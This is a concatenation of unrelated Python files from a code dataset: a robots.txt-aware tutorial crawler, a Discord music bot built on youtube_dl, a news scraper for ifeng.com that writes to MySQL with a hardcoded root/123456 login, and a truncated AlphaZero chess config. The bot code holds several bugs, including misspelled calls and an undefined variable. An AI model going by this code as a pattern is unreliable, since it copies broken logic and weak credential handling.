\"http://example.webscraping.com/places/view/United-Kingdom-239\"\n html = download(url)\n print(html)\n bs_obj = BeautifulSoup(html,\"html.parser\")\n area = bs_obj.find(\"tr\",attrs = {\"id\": \"places_area__row\"}).find(\"td\",attrs = {\"class\":\"w2p_fw\"}).text\n print(area)\n\ndef get_area_lxml():\n url = \"http://example.webscraping.com/places/view/United-Kingdom-239\"\n html = download(url)\n tree = lxml.html.fromstring(html)\n area = tree.cssselect('tr#places_area__row > td.w2p_fw')[0].text_content()\n print(area)\n\n\n#根据链接爬取\n\ndef get_links(html):\n \"\"\"Return a list of links from html\n \"\"\"\n webpages_regex = re.compile('<a[^>]+href=[\"\\'](.*?)[\"\\']',re.IGNORECASE)\n return webpages_regex.findall(html)\n\n\n\n\ndef get_robot(file_path):\n rp = robotparser.RobotFileParser()\n rp.set_url(urljoin(file_path,\"/robots.txt\"))\n rp.read() \n return rp\n \n\n#下载限速\nclass Throttle(object):\n\n def __init__(self,delay):\n self.delay = delay\n self.domains = {}\n\n def wait(self,url):\n domain = urlparse(url).netloc\n last_accessed = self.domains.get(domain)\n\n if self.delay > 0 and last_accessed is not None:\n sleep_secs = self.delay - (datetime.datetime.now() - last_accessed).seconds\n if sleep_secs > 0:\n time.sleep(sleep_secs)\n\n self.domains[domain] = datetime.datetime.now() \n\n\n\n\ndef normalize(seed_url, link):\n \"\"\"Normalize this URL by removing hash and adding domain\n \"\"\"\n link, _ = urldefrag(link) # remove hash to avoid duplicates\n return urljoin(seed_url, link)\n\n\ndef same_domain(url1, url2):\n \"\"\"Return True if both URL's belong to same domain\n \"\"\"\n return urlparse(url1).netloc == urlparse(url2).netloc\n\n\n\nclass ScrapeCallBack:\n def __init__(self):\n self.writer = csv.writer(open('countries.csv', 'w'))\n self.fields = ('area', 'population', 'iso', 'country', 'capital', 'continent', 'tld', 'currency_code', 'currency_name', 'phone', 'postal_code_format', 'postal_code_regex', 'languages', 'neighbours')\n self.writer.writerow(self.fields)\n\n def __call__(self,url,html):\n if re.search('/view/', url):\n tree = lxml.html.fromstring(html)\n row = []\n for field in self.fields:\n row.append(tree.cssselect('table > tr#places_{}__row > td.w2p_fw'.format(field))[0].text_content())\n self.writer.writerow(row) \n\ndef link_crawler(seed_url,link_regex=None,user_agent = \"wswp\",max_depth = 1, delay = 3,scrape_callback = None):\n rp = get_robot(seed_url)\n crawl_queue = [seed_url]\n seen = defaultdict(int)\n throttle = Throttle(delay)\n\n while crawl_queue:\n url = crawl_queue.pop()\n #根据 robot.txt 判断能否对页面进行抓取\n if rp.can_fetch(user_agent,url):\n throttle.wait(url)\n html = download(url,user_agent)\n links = []\n\n if scrape_callback:\n links.extend(scrape_callback(url, html) or [])\n\n if seen[url] != max_depth:\n if link_regex:\n links.extend(link for link in get_links(html) if re.match(link_regex,link))\n \n for link in links:\n link = normalize(seed_url, link)\n #限制下载深度 \n if not link in seen:\n seen[link] += 1\n if same_domain(seed_url,link):\n crawl_queue.append(link)\n else:\n print(\"Blocked by robots.txt, {}\".format(url))\n\n\n\nif __name__ == '__main__':\n link_crawler(\"http://example.webscraping.com\",'/(index|view)',scrape_callback = ScrapeCallBack() )\n", "sub_path": "downloading_data.py", "file_name": "downloading_data.py", "file_ext": "py", "file_size_in_byte": 4894, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.get", "line_number": 33, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 35, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 54, "usage_type": "call"}, {"api_name": "lxml.html.html.fromstring", "line_number": 61, "usage_type": "call"}, {"api_name": "lxml.html.html", "line_number": 61, "usage_type": "attribute"}, {"api_name": "lxml.html", "line_number": 61, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 71, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 71, "usage_type": "attribute"}, {"api_name": "urllib.robotparser.RobotFileParser", "line_number": 78, "usage_type": "call"}, {"api_name": "urllib.robotparser", "line_number": 78, "usage_type": "name"}, {"api_name": "urllib.parse.urljoin", "line_number": 79, "usage_type": "call"}, {"api_name": "urllib.parse.urlparse", "line_number": 92, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 96, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 96, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 98, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 100, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 100, "usage_type": "attribute"}, {"api_name": "urllib.parse.urldefrag", "line_number": 108, "usage_type": "call"}, {"api_name": "urllib.parse.urljoin", "line_number": 109, "usage_type": "call"}, {"api_name": "urllib.parse.urlparse", "line_number": 115, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 121, "usage_type": "call"}, {"api_name": "re.search", "line_number": 126, "usage_type": "call"}, {"api_name": "lxml.html.html.fromstring", "line_number": 127, "usage_type": "call"}, {"api_name": "lxml.html.html", "line_number": 127, "usage_type": "attribute"}, {"api_name": "lxml.html", "line_number": 127, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 136, "usage_type": "call"}, {"api_name": "re.match", "line_number": 152, "usage_type": "call"}]} {"seq_id": "558213391", "text": "import discord\nfrom discord.ext import commands\nimport threading\nimport os\nfrom random import shuffle, choice\nfrom cogs.utils.dataIO import dataIO\nfrom cogs.utils import checks\nfrom cogs.utils.chat_formatting import pagify, escape\nfrom urllib.parse import urlparse\nfrom __main__ import send_cmd_help, settings\nfrom json import JSONDecodeError\nimport re\nimport logging\nimport collections\nimport copy\nimport asyncio\nimport math\nimport time\nimport inspect\nimport subprocess\nimport urllib.parse\n\n#IMPORTANT ?\nimport youtube_dl\n\nyoutube_dl_options = {\n 'source_address': '0.0.0.0',\n 'format': 'bestaudio/best',\n 'extractaudio': True,\n 'audioformat':'mp3',\n 'nocheckcertificate':True,\n 'ignoreerrors':False,\n 'quiet':True,\n 'no_warnings':True,\n 'outtmpl':'data/audio/shared/%(id)s',\n 'default_search':'auto',\n 'encoding':'utf-8'\n}\n\ndef display_time(seconds):\n return \"**{}:{}**\".format(seconds//60, seconds%60)\n\nclass Maudio:\n def __init__(self, bot):\n self.bot = bot\n self.playlist = {}\n self.downloaders = []\n self.bot_players = []\n self.settings = dataIO.load_json(\"data/audio/shared/settings.json\")\n self.bot_players.append(self.bot)\n self.playlist = {self.bot:[]}\n self.skip_votes = {self.bot:[]}\n #self.iron = self.bot.get_cog(\"Iron\")\n #self.silver = self.bot.get_cog(\"Silver\")\n #self.gold = self.bot.get_cog(\"Gold\")\n #self.platinum = self.bot.get_cog(\"Platinum\")\n #try:\n # self.add_all_bots()\n #except:\n # pass\n self.tempshit = False\n def add_all_bots(self):\n self.bot_players.append(self.iron.bot)\n self.bot_players.append(self.silver.bot)\n self.bot_players.append(self.gold.bot)\n self.bot_players.append(self.platinum.bot)\n self.playlist = {\n self.iron: [],\n self.silver: [],\n self.gold: [],\n self.platinum: [],\n self.bot:[]\n }\n\n @commands.command(pass_context=True)\n async def set_vol(self, ctx, volume:int=None):\n \"\"\"The command to set the volume\n\n It can go up to 200 but at 200 you should expect clipping.\"\"\"\n if not volume:\n await self.bot.say(\"Current volume : {}\".format(self.settings[\"VOLUME\"]))\n return\n if volume > 200 or volume < 0:\n await self.bot.say(\"Invalid volume.\")\n else:\n volume/=100\n self.settings[\"VOLUME\"] = volume\n for i in self.bot_players:\n i.voice_client_in(ctx.message.server).audio_player.volume = volume\n @commands.command(pass_context=True)\n @checks.is_owner()\n async def set_bots(self, ctx):\n try:\n self.add_all_bots()\n except:\n await self.bot.say(\"There was an error while adding bots. Don't know \"\n \"what happened and my creator is kind of lazy so git gud bitsh.\")\n @commands.command(pass_context=True)\n @checks.is_owner()\n async def dc_all(self, ctx):\n\n for player in self.bot_players:\n if player == self.bot:\n continue\n await player.send_message(ctx.message.channel, \"Disconnecting {}\".format(player.user.name))\n\n await player.logout()\n del player\n async def _join_voice_channel(self, player, channel):\n try:\n await asyncio.wait_for(player.join_voice_channel(channel), timeout=5, loop=player.loop)\n except asyncio.futures.TimeoutError:\n await self.bot.say(\"Bot failed to connect to voice channel, try again in 10 mins.\")\n\n\n async def _create_ffmpeg_player(self, player,channel, song, start_time=None, end_time=None):\n server = channel.server\n voice_channel = self.playlist[player][0][0]\n voice_client = player.voice_client_in(server)\n if voice_client is None:\n to_connect = voice_channel\n if to_connect is None:\n #raise VoiceNotConnected(\"Okay somehow we're not connected and \"\n # \"we have no valid channel to \"\n # \"reconnect. In other words...LOL \"\n # \"REKT.\")\n pass\n await self._join_voice_channel(player, to_connect)\n voice_client = player.voice_client_in(server)\n\n if voice_client.channel != voice_channel:\n await self._join_voice_channel(player, voice_channel)\n\n file_name = os.path.join(\"data/audio/shared\", song.id)\n use_avconv = self.settings[\"AVCONV\"]\n options = '-b:a 64k -bufsize 64k'\n before_options = \"\"\n if start_time:\n before_options += '-ss {}'.format(start_time)\n if end_time:\n options +=\" -to {} -copyts\".format(end_time)\n\n try:\n voice_client.audio_player.process.kill()\n except AttributeError:\n pass\n except ProcessLookupError:\n pass\n\n voice_client.audio_player = voice_client.create_ffmpeg_player(file_name, use_avconv=use_avconv, options=options, before_options=before_options)\n\n vol = self.settings[\"VOLUME\"] / 100\n voice_client.audio_player.volume = vol\n\n return voice_client\n\n def garantee_bot(self,song,channel):\n player = None\n #player = discord.utils.find(lambda x: x.voice_client_in(channel.server).channel == channel, self.bot_players)\n for i in self.bot_players:\n if i.user in channel.voice_members:\n player = i\n break\n\n if player:\n if len(self.playlist[player])>=4:\n return\n return player\n\n player = discord.utils.find(lambda x: self.playlist[x] == [], self.bot_players)\n if player:\n return player\n\n ls = []\n for x in self.bot_players:\n ls.append((sum(j.duration for i,j in self.playlist[x]),x))\n return min(ls,key=lambda y: y[0])[1]\n\n\n @commands.command(pass_context=True, no_pm=True)\n async def adl(self, ctx, *, url_or_search_terms):\n url = url_or_search_terms\n server = ctx.message.server\n author = ctx.message.author\n voice_channel = author.voice_channel\n channel = ctx.message.channel\n\n voice_channel = author.voice.voice_channel\n #if voice_channel is None:\n # await self.bot.say(\"You're currently not inside a voice channel.\")\n # return\n url = url.strip(\"<>\")\n\n if not url.startswith(\"https://\"):\n url = url.replace(\"/\",\"&%47\")\n url = \"[0x0E74D3C]\" + url\n\n if url not in url and \"youtube\" in url:\n parsed_url = urllib.parse.urlparse(url)\n query = urllib.parse.parse_qs(parsed_url.query)\n query.pop(\"list\",None)\n parsed_url = parsed_url.replace(query=urllib.parse.urlencore(query,True))\n url = urllib.parse_urlunparse(parsed_url)\n\n if self.downloaders:\n dl = Downloader(url)\n self.downloaders.append(dl)\n while self.downloaders[0].is_alive():\n if dl == self.downloaders[0]:\n break\n await asyncio.sleep(5)\n\n\n else:\n dl = Downloader(url, download=True)\n self.downloaders.append(dl)\n dl.get_info()\n sng = dl.song\n e = discord.Embed(title=sng.title,color=0xFFFFFF, url=sng.url).set_footer(text=sng.url)\n\n player = self.garantee_bot(sng, author.voice.voice_channel)\n\n est_time = sum(x[1].duration for x in self.playlist[player])\n e.set_image(url=sng.thumbnail)\n e.add_field(name=\"Duration: \", value=display_time(sng.duration))\n e.add_field(name=\"Views: \", value=\"**{}**\".format(sng.view))\n e.add_field(name=\"Estimated to play in: \", value=est_time)\n e.add_field(name=\"Place in queue: \",value=len(self.playlist[player])+1)\n await self.bot.say(embed=e)\n #self.temporary = dl.song\n\n\n dl.run()\n dl.done.wait()\n self.playlist[player].append((author.voice.voice_channel, sng))\n self.downloaders.pop(0)\n\n def is_playing(self,player,server): #.voice\n if not player.is_voice_connected(server):\n return False\n if player.voice_client_in(server) is None:\n return False\n if not hasattr(player.voice_client_in(server),\"audio_player\"):\n return False\n if player.voice_client_in(sever).audio_player.is_done():\n return False\n\n return True\n\n async def _play(self, player, channel, song, **kwargs):\n voice_client = await self._create_ffmpeg_player(player, channel, song, **kwargs)\n return voice_client\n\n async def queue_manager(self, player):\n channel = self.playlist[player][0][0]\n server = channel.server\n queue = self.playlist[player]\n song = queue[0][1]\n print(self.is_playing(player,server))\n if not self.is_playing(player,server):\n self.skip_votes[player] = []\n voice_client = await self._play(player, channel, song)\n voice_client.audio_player.start()\n self.playlist[player].pop(0)\n async def song_is_finished(self, player, server):\n while not player.voice_client_in(server).audio_player.is_done():\n await asyncio.sleep(0.5)\n return True\n\n\n async def queue_scheduler(self):\n while self == self.bot.get_cog('Maudio'):\n tasks = []\n queue = self.playlist\n #temp_queue = copy.deepcopy(self.tempqueue)\n for acc,pl in queue.items():\n if len(pl) == 0:# and len(temp_queue[acc]) == 0\n continue\n\n tasks.append(self.bot.loop.create_task(self.queue_manager(acc)))\n completed = [t.done() for t in tasks]\n while not all(completed):\n completed = [t.done() for t in tasks]\n await asyncio.sleep(0.5)\n await asyncio.sleep(1)\n\n async def reload_monitor(self):\n while self == self.bot.get_cog('Maudio'):\n await asyncio.sleep(1)\n\n for acc in self.bot_players:\n for vc in acc.voice_clients:\n try:\n vc.audio_player.stop()\n except:\n pass\n\n\nclass Downloader(threading.Thread):\n def __init__(self, url, download=False, *args, **kwargs):\n super().__init__(*args,**kwargs)\n self.url = url\n self.done = threading.Event()\n self.song = None\n self._download = download\n self._yt = None\n self.error = None\n\n def search(self):\n if self._yt is None:\n self._yt = youtube_dl.YoutubeDL(youtube_dl_options)\n if \"[0x0E74D3C]\" not in self.url:\n video = self._yt.extract_info(self.url, download=False, process=False)\n else:\n self.url = self.url[11:]\n search_list = self._yt.extract_info(self.url, download=False)\n if not \"entries\" in yt_id.keys():\n video = self._yt.extract_info(\"https://youtube.com/watch?v={}\".format(search_list[\"id\"]), download=False)\n self.song = Song(**video)\n return self.song\n return search_list[\"entries\"]\n def run(self):\n self.get_info()\n if self._download:\n self.download()\n #except youtub_dl.utils.DownloadError as e:\n # self.error = str(e)\n #except OSError as e:\n # log.warning(\"Os error while downloading '{}':\\n{}\".format(self.url, str(e)))\n self.done.set()\n\n def download(self):\n if not os.path.isfile(\"data/audio/shared\"+self.song.id):\n video = self._yt.extract_info(self.url)\n self.song = Song(**video)\n\n def get_info(self):\n if self._yt is None:\n self._yt = youtube_dl.YoutubeDL(youtube_dl_options)\n if \"[0x0E74D3C]\" not in self.url:\n video = self._yt.extract_info(self.url, download=False, process=False)\n else:\n self.url = self.url[11:]\n yt_id = self._yt.extract_info(self.url, download=False)\n if yt_id.get(\"entries\"):\n yt_id = yt_id[\"entries\"][0][\"id\"]\n\n self.url = \"https://youtube.com/watch?v={}\".format(yt_id)\n video = self._yt.extract_info(yt_id, download=False)\n\n if video is not None:\n self.song = Song(**video)\nclass Song:\n def __init__(self, **kwargs):\n self.__dict__ = kwargs\n self.view = kwargs.pop('view_count',None)\n self.description = kwargs.pop('description',None)\n self.likes = kwargs.pop('like_count',None)\n self.thumbnail = kwargs.pop('thumbnail',None)\n self.dislikes = kwargs.pop('dislike_count',None)\n self.view = kwargs.pop('view',None)\n self.title = kwargs.pop('title',None)\n self.id = kwargs.pop('id',None)\n self.url = kwargs.pop('webpage_url',None)\n self.uploader = kwargs.pop('uploader',None)\n self.duration = kwargs.pop('duration',60)\n self.start_time = kwargs.pop('start_time',None)\n self.end_time = kwargs.pop('end_time',None)\n\ndef check_folder():\n folders = (\"data/audio\",\"data/audio/shared\")\n for folder in folders:\n if not os.path.exists(folder):\n print(\"Creating {} folder.....\".format(folder))\n os.makedirs(folder)\n\ndef check_files():\n check_folder()\n default = {\"VOLUME\":50, \"AVCONV\":False, \"VOTE_THRESHOLD\":50}\n settings_path = \"data/audio/shared/settings.json\"\n\n if not os.path.isfile(settings_path):\n print(\"Creating default audio settings.json...\")\n dataIO.save_json(settings_path, default)\n else:\n try:\n current = dataIO.load_json(settings_path)\n except JSONDecodeError:\n dataIO.save_json(settings_path, default)\n current = dataIO.load_json(settings_path)\n if current.keys() != default.keys():\n for key in default.keys():\n if key not in current.keys():\n current[key] = default[key]\n print(\n \"Adding {} field to audio settings.json...\".format(key)\n )\n dataIO.save_json(settings_path, current)\n\ndef setup(bot):\n check_files()\n n = Maudio(bot)\n bot.add_cog(n)\n bot.loop.create_task(n.reload_monitor())\n bot.loop.create_task(n.queue_scheduler())\n", "sub_path": "audio.py", "file_name": "audio.py", "file_ext": "py", "file_size_in_byte": 14508, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cogs.utils.dataIO.dataIO.load_json", "line_number": 49, "usage_type": "call"}, {"api_name": "cogs.utils.dataIO.dataIO", "line_number": 49, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 75, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 75, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 90, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 90, "usage_type": "name"}, {"api_name": "cogs.utils.checks.is_owner", "line_number": 91, "usage_type": "call"}, {"api_name": "cogs.utils.checks", "line_number": 91, "usage_type": "name"}, {"api_name": "discord.ext.commands.command", "line_number": 98, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 98, "usage_type": "name"}, {"api_name": "cogs.utils.checks.is_owner", "line_number": 99, "usage_type": "call"}, {"api_name": "cogs.utils.checks", "line_number": 99, "usage_type": "name"}, {"api_name": "asyncio.wait_for", "line_number": 111, "usage_type": "call"}, {"api_name": "asyncio.futures", "line_number": 112, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "discord.utils.find", "line_number": 170, "usage_type": "call"}, {"api_name": "discord.utils", "line_number": 170, "usage_type": "attribute"}, {"api_name": "urllib.parse.parse.urlparse", "line_number": 199, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 199, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 199, "usage_type": "name"}, {"api_name": "urllib.parse.parse.parse_qs", "line_number": 200, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 200, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 200, "usage_type": "name"}, {"api_name": "urllib.parse.parse.urlencore", "line_number": 202, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 202, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 202, "usage_type": "name"}, {"api_name": "urllib.parse.parse_urlunparse", "line_number": 203, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 203, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 211, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 219, "usage_type": "call"}, {"api_name": "discord.ext.commands.command", "line_number": 180, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 180, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 267, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 284, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 285, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 289, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 299, "usage_type": "attribute"}, {"api_name": "threading.Event", "line_number": 303, "usage_type": "call"}, {"api_name": "youtube_dl.YoutubeDL", "line_number": 311, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 333, "usage_type": "call"}, {"api_name": "os.path", "line_number": 333, "usage_type": "attribute"}, {"api_name": "youtube_dl.YoutubeDL", "line_number": 339, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 373, "usage_type": "call"}, {"api_name": "os.path", "line_number": 373, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 375, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 382, "usage_type": "call"}, {"api_name": "os.path", "line_number": 382, "usage_type": "attribute"}, {"api_name": "cogs.utils.dataIO.dataIO.save_json", "line_number": 384, "usage_type": "call"}, {"api_name": "cogs.utils.dataIO.dataIO", "line_number": 384, "usage_type": "name"}, {"api_name": "cogs.utils.dataIO.dataIO.load_json", "line_number": 387, "usage_type": "call"}, {"api_name": "cogs.utils.dataIO.dataIO", "line_number": 387, "usage_type": "name"}, {"api_name": "json.JSONDecodeError", "line_number": 388, "usage_type": "name"}, {"api_name": "cogs.utils.dataIO.dataIO.save_json", "line_number": 389, "usage_type": "call"}, {"api_name": "cogs.utils.dataIO.dataIO", "line_number": 389, "usage_type": "name"}, {"api_name": "cogs.utils.dataIO.dataIO.load_json", "line_number": 390, "usage_type": "call"}, {"api_name": "cogs.utils.dataIO.dataIO", "line_number": 390, "usage_type": "name"}, {"api_name": "cogs.utils.dataIO.dataIO.save_json", "line_number": 398, "usage_type": "call"}, {"api_name": "cogs.utils.dataIO.dataIO", "line_number": 398, "usage_type": "name"}]} {"seq_id": "573152281", "text": "# encoding= utf-8\n# Author: HHB\n# Data: 2022/11/03 15:23\n\n\nimport datetime\nimport json\nimport re\nimport time\nimport pymysql\nimport requests\nfrom lxml import etree\nfrom publicMethods import gjcfenlei\n\n'''\n\n凤凰网江苏站\n\nhttps://qd.ifeng.com/shanklist/\n\n'''\n\n\nclass FengHuangJS(object):\n\n\n def __init__(self):\n self.url = 'https://qd.ifeng.com/shanklist/200-212-305384-'\n self.headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36\"\n }\n self.next_url = \"\"\n\n self.connect = pymysql.connect(host='127.0.0.1', port=3306, db='policeproject',\n user='root', passwd='123456', charset='utf8', )\n self.cursor = self.connect.cursor()\n\n def turn_time(self, date):\n last_time = time.strptime(date, \"%Y-%m-%d %H:%M:%S\")\n timeStamp = str(int(time.mktime(last_time)) * 1000)\n return timeStamp\n\n def get_date(self, date):\n # 2021年08月25日 09:43:28\n new_date = date.replace('年', '-').replace('月', '-').replace('日', '')\n return new_date\n\n def get_index(self):\n response = requests.get(self.url, self.headers).text\n response = response.split(\"var allData = \")[1].split(\"var adData\")[0].replace(\"};\", \"}\")\n res_json = json.loads(response)\n last_id = res_json['newsstream'][-1]['id']\n last_time = self.turn_time(res_json['newsstream'][-1]['newsTime'])\n now_time = str(int(datetime.datetime.now().timestamp()) * 10000)\n self.next_url = \"https://shankapi.ifeng.com/shanklist/_/getColumnInfo/_/default/\" + last_id + \"/\" + last_time + \"/20/212-305384-/getColumnInfoCallback?callback=getColumnInfoCallback&_=\" + now_time\n data_list = res_json['newsstream']\n for data in data_list:\n detail_url = data['url']\n try:\n self.get_detail(detail_url)\n except:\n pass\n self.seco_index()\n\n def seco_index(self):\n i = 0\n while i < 5:\n response = requests.get(url=self.next_url, headers=self.headers).text\n response = response.split(\"Callback(\")[1].split(\")\")[0]\n res_json = json.loads(response)\n last_id = res_json['data']['newsstream'][-1]['id']\n last_time = self.turn_time(res_json['data']['newsstream'][-1]['newsTime'])\n now_time = str(int(datetime.datetime.now().timestamp()) * 10000)\n data_list = res_json['data']['newsstream']\n for data in data_list:\n detail_url = data['url']\n try:\n self.get_detail(detail_url)\n except:\n pass\n self.next_url = \"https://shankapi.ifeng.com/shanklist/_/getColumnInfo/_/default/\" + last_id + \"/\" + last_time + \"/20/212-305384-/getColumnInfoCallback?callback=getColumnInfoCallback&_=\" + now_time\n i += 1\n\n def get_detail(self, detail_url):\n response = requests.get(url=detail_url, headers=self.headers, timeout=10).text\n # print(response)\n html = etree.HTML(response)\n title = html.xpath('//h1/text()')[0]\n print('新闻链接:', detail_url)\n print('标题:', title)\n # 发布时间\n try:\n # publish_time = html.xpath('//p/span[1]/text()')[0]\n publish_time = html.xpath('//div[@class=\"timeBref-nubNWei4\"]/a/text()')[0]\n except:\n return\n new_date = self.get_date(publish_time)\n print('发布时间:', new_date)\n # <em>0</em><span>条评论\n comment_num_ex = '<em>(\\d+)</em><span>条评论'\n try:\n # 评论数\n comment_num = html.xpath('//h5[@class=\"comment-3Skn3hAy\"]/a[2]/span[1]/text()')[0]\n print('评论数:', comment_num)\n except:\n comment_num = ''\n pass\n # 新闻内容\n content = html.xpath('//div[@class=\"text-3w2e3DBc\"]/p//text()')\n content = ''.join(content).replace('\\n', '').replace('\\r', '').strip()\n print('新闻内容:', content)\n # 新闻图片\n img_list = html.xpath('//div[@class=\"text-3w2e3DBc\"]/p//img/@src')\n if len(img_list) < 1:\n img_list = ''\n else:\n img_list = str(img_list)\n print('新闻图片:', img_list)\n try:\n # 来源\n source = re.findall('来源：(\\w+)\\s?', content, re.S)[0]\n print('来源:', source)\n except:\n source = ''\n try:\n # 作者\n # \"editorName\":\"刘莎莎\"}\n # author = re.findall('\"editorName\":\"(.*?)\"}', response, re.S)[0]\n author = html.xpath('//p[@class=\"author-fr6Gx8zL\"]/text()')\n print('作者:', author)\n except:\n author = ''\n pass\n\n print('************************************')\n if gjcfenlei.read_sentence(content) == None:\n print('数据不符合要求...........')\n\n else:\n\n sql = \"insert into news_data(`title`,\" \\\n \"`author`,\" \\\n \"`content`,\" \\\n \"`url`,\" \\\n \"`source`,\" \\\n \"`publish_time`) value (%s,%s,%s,%s,%s,%s)\"\n\n self.cursor.execute(sql, (\n title, source, content,\n detail_url, '凤凰网江苏站', new_date))\n self.connect.commit()\n\n\n\n def __main__(self):\n self.get_index()\n\n\nif __name__ == '__main__':\n fhjs = FengHuangJS()\n fhjs.__main__()\n", "sub_path": "PoliceProject/FenghuangComJiangSu.py", "file_name": "FenghuangComJiangSu.py", "file_ext": "py", "file_size_in_byte": 5625, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pymysql.connect", "line_number": 34, "usage_type": "call"}, {"api_name": "time.strptime", "line_number": 39, "usage_type": "call"}, {"api_name": "time.mktime", "line_number": 40, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 49, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 51, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 54, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 68, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 73, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 73, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 85, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 87, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 87, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 121, "usage_type": "call"}, {"api_name": "re.S", "line_number": 121, "usage_type": "attribute"}, {"api_name": "publicMethods.gjcfenlei.read_sentence", "line_number": 136, "usage_type": "call"}, {"api_name": "publicMethods.gjcfenlei", "line_number": 136, "usage_type": "name"}]} {"seq_id": "541096339", "text": "\"\"\"\n\nConfigs for everyone!\nMostly taken from Benediamond's git repos\n\nhttps://github.com/benediamond/chess-alpha-zero\n\n\"\"\"\n\n\nimport os\nimport math\nimport chess\nimport numpy as np\n\n\ndef get_project_dir():\n return os.path.dirname(os.path.abspath(__file__))\n\n\ndef get_data_dir():\n return os.path.join(get_project_dir(), \"data\")\n\n\nclass Config:\n def __init__(self, config_type=\"normal\"):\n # self.human = PlayWithHuman()\n self.resource = ResourceConfig()\n self.evaluate = EvaluateConfig()\n self.trainer = TrainerConfig()\n self.model = ModelConfig()\n self.labels = create_uci_labels()\n\n ############################\n # Alpha Zero Configuration #\n ############################\n\n # Self play\n self.num_actors = 12 # was 5000, but i guess this is number of processes, so we must change this\n self.num_sampling_moves = 30 # Number of moves with exploration noise\n self.max_moves = 512\n self.num_simulations = 800\n\n # Noise\n self.root_dirichlet_alpha = 0.3\n self.root_exploration_fraction = 0.25\n\n # UCB\n self.pb_c_base = 19652\n self.pb_c_init = 1.25\n\n # Training\n self.training_steps = 700000\n self.checkpoint_interval = 1000\n self.window_size = 100 # Max number of games in buffer (Should not exceed RAM!)\n self.batch_size = 4096\n\n self.weight_decay = 0.0001\n self.momentum = 0.9\n self.learning_rate = 0.02\n self.learning_rate_schedule = {\n 0: 0.2,\n 100000: 0.002,\n 300000: 0.0002,\n 500000: 0.00002\n }\n\n #####################\n # Own Configuration #\n #####################\n self.max_games_in_buffer = 100 # How much RAM do we have to store self played games?\n self.max_file_num = 400\n\n self.num_threads = 16\n self.vram_frac = 1.0\n\n self.n_labels = 4672 # 64*73\n self.c_puct = 3 # Are we using this?\n\n self.cnn_filter_num = 256\n self.cnn_filter_size = 3\n self.res_layer_num = 19\n self.l2_reg = 1e-4\n self.value_fc_size = 256\n self.t_history = 8\n self.input_stack_height = 7 + self.t_history * 14\n\n if config_type == \"delivery\":\n self.num_simulations = 800\n self.num_actors = 1\n self.num_threads = 16\n self.max_moves = 3\n self.vram_frac_player = 0.4\n self.vram_frac_trainer = 0.25\n\n self.cnn_filter_num = 16\n self.res_layer_num = 1\n self.value_fc_size = 16\n self.t_history = 1\n self.input_stack_height = 7 + self.t_history * 14\n\n self.window_size = 40 # Max number of games in buffer (Should not exceed RAM!)\n self.batch_size = 99999\n\n self.num_sampling_moves = 0\n self.root_dirichlet_alpha = 0\n self.root_exploration_fraction = 0\n\n if config_type == \"home\":\n self.num_simulations = 200\n self.num_actors = 10\n self.num_threads = 16\n self.max_moves = 128\n self.vram_frac_player = 0.07\n self.vram_frac_trainer = 0.25\n\n self.cnn_filter_num = 16\n self.res_layer_num = 1\n self.value_fc_size = 16\n self.t_history = 1\n self.input_stack_height = 7 + self.t_history * 14\n\n self.window_size = 40 # Max number of 